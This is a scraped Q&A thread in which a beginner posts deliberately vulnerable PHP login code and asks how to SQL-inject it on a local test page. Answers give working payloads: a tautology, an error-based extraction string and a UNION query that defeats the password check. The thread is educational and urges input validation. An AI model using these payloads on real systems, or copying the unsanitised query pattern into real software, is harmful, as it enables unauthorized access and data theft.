How to Inject SQL in this Example
My question is pretty specific, but I think it will help in my overall understanding of security and SQL injection. I am running a local webpage with a simple form for the purpose seeing how SQL injection works first hand, by doing it to my own database and webpage. I keep changing the way my php file validates a user so I can see the differences. I am a beginner and the php file is very simple on purpose. My current php code is:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysql_connect('localhost', 'root', 'password');
mysql_select_db(test1);
$query = "SELECT username, password FROM users WHERE username = '$username'";
$result = mysql_query($query) or die("Query failed: " . mysql_error());
$arr = mysql_fetch_array($result);
if($arr['username'] == $username && $arr['password'] == $password && strlen($username) > 0){
header('Location:index.php');
}else{
header('Location:login.html');
}
?>
I have no idea if thi开发者_如何学Pythons is a good or bad way of validating. I just want to know an example of how to inject it because I can't figure this one out. MySQL_query() only allows 1 statement so I can't chain together statements, and I don't know what else to do to it. I have changed the file so I can do
' or 1=1; --
types of injection, but obviously that one will not work here. So just curious. Thanks.
The following passed to username would return all the rows:
' or '1'='1
In general its simply not a good idea to pass unvalidated input to a SQL query.
Send this as username:
a' and(select 1 from(select count(*),concat((select concat_ws(0x3a,version(),database())),floor(rand(0)*2))x from information_schema.tables group by x)a) union select 1,'
I'm not sure but I think it's not possible to get redirected to index.php, but the above example will show you something interesting.
Such security holes should never be left non sanitized because a malicious user can get even the mysql's root user password if SELECT
command is permitted to mysql
table and so on.
By the way, you should never display mysql_error()
s to end-users.
Consider the following query :
SELECT username, password FROM users WHERE username = 'anything' AND 0 =1
UNION ALL
SELECT '\'anything\' AND 0 =1
UNION ALL
SELECT \'user\',\'password\'','password'
If $_POST['password'] equals word 'password', your validation will fail and let unauthorized user to access protected page.
You are not doing any validation on your post parameters before you execute your statement. This is bad! And SQL injection is easily possible.
For example:
SELECT username, password FROM users WHERE username = '$username' AND (SELECT 1 FROM ([Almost any SQL statement you want...]))
I.E.
$username = "' AND (SELECT 1 FROM ([Almost any SQL statement you want...])); --"
Make sure you validate your parameters before using them in a SQL statement.
精彩评论